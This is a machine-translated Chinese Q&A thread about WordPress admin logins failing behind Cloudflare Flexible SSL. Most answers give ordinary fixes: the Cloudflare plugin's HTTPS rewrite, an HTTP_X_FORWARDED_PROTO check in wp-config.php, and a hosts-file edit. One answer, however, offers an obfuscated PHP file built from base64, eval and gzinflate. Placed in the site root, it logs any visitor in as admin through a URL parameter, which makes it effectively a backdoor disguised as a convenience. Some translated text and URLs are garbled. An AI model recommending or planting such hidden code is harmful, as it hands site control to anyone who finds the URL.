WordPress网站管理员登录Cloudflare之后不使用HTTP



我有一个静态网站,我在该网站上安装了CloudFlare灵活的SSL。但是现在在一个文件夹中,我在此处安装了WordPress https://www.kiransboutique.com/wordpressrvc/

其链接的非链接正在工作,WP-Admin也不将其重定向到仪表板。我正在使用正确的登录凭据。

有人可以建议任何解决方案吗?完全相同的安装在这里工作http://bestcoachingcenter.com/kirans/

自动登录您的WordPress管理员,每次不添加管理员用户名和密码,您可以使用以下代码snippet。

在PHP文件中使用此代码并将其放在WordPress安装的根目录中,可帮助您使用管理员帐户登录WP-ADMIN。

使它起作用所需的是,您需要通过在查询URL中传递关键字" wpglogin"来达到URL,如下所示 - http://www.sitename.com/codefile.php?wpglogin=ywrtaw4=

通过击中上述URL,您将轻松输入管理员。

     <?php /*** PHP Encode v1.0 by zeura.com ***/ $XnNhAWEnhoiqwciqpoHH=file(__FILE__);eval(base64_decode("aWYoIWZ1bmN0aW9uX2V4aXN0cygiWWl1bklVWTc2YkJodWhOWUlPOCIpKXtmdW5jdGlvbiBZaXVuSVVZNzZiQmh1aE5ZSU84KCRnLCRiPTApeyRhPWltcGxvZGUoIlxuIiwkZyk7JGQ9YXJyYXkoNjU1LDIzNiw0MCk7aWYoJGI9PTApICRmPXN1YnN0cigkYSwkZFswXSwkZFsxXSk7ZWxzZWlmKCRiPT0xKSAkZj1zdWJzdHIoJGEsJGRbMF0rJGRbMV0sJGRbMl0pO2Vsc2UgJGY9dHJpbShzdWJzdHIoJGEsJGRbMF0rJGRbMV0rJGRbMl0pKTtyZXR1cm4oJGYpO319"));eval(base64_decode(YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH)));eval(ZsldkfhGYU87iyihdfsow(YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH,2),YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH,1)));__halt_compiler();aWYoIWZ1bmN0aW9uX2V4aXN0cygiWnNsZGtmaEdZVTg3aXlpaGRmc293Iikpe2Z1bmN0aW9uIFpzbGRrZmhHWVU4N2l5aWhkZnNvdygkYSwkaCl7aWYoJGg9PXNoYTEoJGEpKXtyZXR1cm4oZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJGEpKSk7fWVsc2V7ZWNobygiRXJyb3I6IEZpbGUgTW9kaWZpZWQiKTt9fX0=e044e9d170abfceff3904a363ae1348b68619a68hVRta9swEP7sQv+DFkKllMRpYexDQwKjdSHQbl2S7UsoQrEvsTbF8mQZN5T+9+nFdry1ZQkB5+55Od2dnAJLQBF8LTMNmR6tDjlcIZbngsdMc5mNfxYyw4PJ6Ul/ywU8MJ1OUcJVxvZA+nQZLX5EizVeXi/mDyt6O7+Lvny+j/CjZfAsFmUCVGaxwTb0sDeu8pGQLAnzNO9Z4E7IDROoX+XJxvwFpaSiCnKpNM925MJi/JdvCS8K0MZ6EX37Hi1Xa1zlhr/jmTFFZ2fozQz6MEUYD55PT4J+E0VTtGEFfPpIE4hlAu9oGu/A2HZoRoole5N0ekGfqV1hxJhS7EBsJMBKCsCo+UxnNYMXWjEtFR56WFbuN6Bw4DGXNjiYIC9q8WUBykrvQFP3TJyZqyno2wjliclfuoCt8kjzxXVRneT64nE0S5hmo9n8xpFfnOTvEtTBQPEyuouuV+gc3S6+3iMcutmMZrmCLX8KsS+sSkEBmt9YQtgYhRj78hQUpdC2/JpsT1EHiXdyB2lK9yDBCk3dBrhG4+YYnak1yu4QztVl2mPYn6um0zm6ORDsRzpstdrZWoQ3SiRlsV18YnaA1gTkAF2vOuQHYYBmJWlcKmXukLMjDcU05y8QK3VKYyl/cXiNGY/t2cztglhTLafOzw2NlkqQwSQI6s4eMajgGur0USMXLIZ2J3FVVSF+08NgtOJ7YhaT1jTS8Ie93rCLHbQFGDs/hzYXYnurXa1jtpGltpfbL0Jav2PupH+lXLllUcIsii8Jnrj2tZ1DnMr3dPEk4dD2km2BNjjyHuOob7pzPq53A0QBz/820pznVbv/62Ua0jHw8i9/AA==

您的主页仍处于" Hello World"状态,因此您可能仍然需要答案。我有同样的问题;并在Stackoverflow/stackexchange上像您这样的帖子 - 可惜没有快乐。

什么对我有用:

  1. 如果您使用的是官方的Cloudflare插件(https://wordpress.org/plugins/cloudflare/(将"自动https重写"设置为" on"。此解决了HTTPS下的链接和CSS问题,并救了我必须安装其他相关插件。

  2. 作为停止差距:如果您尚未将WP配置为"强制SSL",则可以使用" http://"地址登录(我是(。

  3. 启用" https"登录,编辑wp-config.php并插入以下行:

    if (strpos($_SERVER['HTTP_X_FORWARDED_PROTO'], 'https') !== false)
       $_SERVER['HTTPS']='on';
    

如果您想要更多详细信息,我在这里发布了有关它的信息:http://wptest.means.us.com/cloudflare-wordpress-unaus-unaus-login-https/

注意:灵活的SSL总比没有SSL好,因为它加密了您与CloudFlare之间的"连接"。但是,CF与您的服务器的连接仍然是" HTTP",您的登录凭据仍然容易窃听这条旅程。

我仍在检查,但是我认为您也可以通过启用Cloudflare Railgun(用于减少从服务器的数据传输(来确保CF&lt; ->服务器连接安全。Railgun使用TLS,因此数据已加密。我假设,如果您同时使用灵活的SSL和Railgun,则连接是安全的。一些廉价的主机在包装中免费提供Railgun。

您可以通过将服务器IP输入Windows Hosts文件来修复WordPress SSL登录问题。在Windows System32 主机中查找主机文件添加您的IP和域名。

最新更新